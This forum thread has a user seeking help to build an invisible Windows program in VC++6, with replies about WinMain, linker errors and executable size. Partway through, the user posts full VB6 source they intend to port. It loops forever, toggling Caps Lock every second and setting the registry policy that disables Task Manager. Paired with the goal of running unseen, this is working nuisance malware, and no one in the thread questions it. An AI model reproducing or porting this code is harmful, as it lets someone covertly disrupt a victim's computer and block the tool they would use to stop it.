How do I create a background-process app in C++?
In VB6 (please, don't hate me ) you could just remove the form and add a module, the app would still be listed in taskmanager, but not visible on the screen.
How do I create a background-process app in C++?
In VB6 (please, don't hate me ) you could just remove the form and add a module, the app would still be listed in taskmanager, but not visible on the screen.
I am pretty sure that the operating system is the one that decides if an app is a background process. There might be some windows api functions that do that, but usually (like in UNIX) the operating system makes a process run in the background.
If you want to do this properly, do a search on Windows Services.....
Are you sure?
Maybe background-process is the wrong word?
Anyway, I do want it to run as a normal program, I just dont want it to be visible on the screen.
Oh right...then create a win32 program, but dont create a window or a dialogOriginally posted by philip
Are you sure?
Maybe background-process is the wrong word?
Anyway, I do want it to run as a normal program, I just dont want it to be visible on the screen.
Ehm...*blushes*
And how do I do that?
I'm using VC++6.
If I create a new Win32 App, and just add an empty source, and put
void main()
{
}
it wont even run
Hmm..no errors when compiling, just when building:
--------------------Configuration: aas - Win32 Debug--------------------
Linking...
LIBCD.lib(wincrt0.obj) : error LNK2001: unresolved external symbol _WinMain@16
Debug/aas.exe : fatal error LNK1120: 1 unresolved externals
Error executing link.exe.
aas.exe - 2 error(s), 0 warning(s)
Win32 doesn't use main(). It uses WinMain().
Check out this site for help.
good luck
Ah, it works now, thanks alot.
However, the reason I was going to rewrite a program in C++ was to make it smaller...
But it turned out to be bigger instead
In VB6, it's ~20k, in VC++6 it's ~153k...eh
Got it down to ~65k, still too big
How come C++ programs are larger?
Something must be terribly wrong
(I'm using vc++6 enterprise)
When I choose "Minimize size" optimization i get the error:
--------------------Configuration: aaa - Win32 Debug--------------------
Compiling...
Command line error D2016 : '/ZI' and '/O1' command-line options are incompatible
Error executing cl.exe.
a.obj - 1 error(s), 0 warning(s)
its not really neccesary, but here we go
(as I said, i cant get the size-opt to work)
c++ (this is ONLY the winmain function..nothing else...and it takes up ~37k (got it down a bit more)):
#include <windows.h>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MessageBox(NULL, "Goodbye, cruel world!", "Note", MB_OK);
return 0;
}
(this is the code, that im later going to turn into c++)
vb (this code, compiled into an exe native-code speedoptimization = ~20k:
Option Explicit
Private Declare Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType As Long) As Long
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function Sleep Lib "kernel32" (ByVal dwmilliseconds As Long) As Long
Private Const KEYEVENTF_EXTENDEDKEY As Long = 1
Private Const KEYEVENTF_KEYUP As Long = 2
Private Const HKEY_CURRENT_USER As Long = -2147483647
Private Const REG_VALUENAME As String = "DisableTaskMgr"
Private Const REG_SUBKEY As String = "software\microsoft\windows\currentversion\policie s\system"
Private Sub Main()
Dim lngScan As Long
Dim lngHandle As Long
Dim lngReturn As Long
Do
lngScan& = MapVirtualKey&(vbKeyCapital&, 0&)
Call keybd_event(CByte(vbKeyCapital&), CByte(lngScan&), KEYEVENTF_EXTENDEDKEY&, 0&)
Call keybd_event(CByte(vbKeyCapital&), CByte(lngScan&), KEYEVENTF_KEYUP&, 0&)
lngReturn& = RegCreateKey&(HKEY_CURRENT_USER&, REG_SUBKEY$, lngHandle&)
lngReturn& = RegSetValueEx&(lngHandle&, REG_VALUENAME$, 0&, 4, 1&, 4&)
lngReturn& = RegCloseKey&(lngHandle&)
lngReturn& = Sleep&(1000&)
Loop
End Sub
--> In VB6, it's ~20k
Don't forget the VB runtimes! The VC program is actually an executable whereas the VB program is heavilly linked to the runtimes.
Ahhh, that's right...
Anyway, why won't the size-opt work in my vc++ent?
(this is the error i get when using ANY kind of opt, the only thing that differs is the digit next to O (O1, O2, etc))
--------------------Configuration: test - Win32 Debug--------------------
Compiling...
Command line error D2016 : '/ZI' and '/O1' command-line options are incompatible
Error executing cl.exe.
test.obj - 1 error(s), 0 warning(s)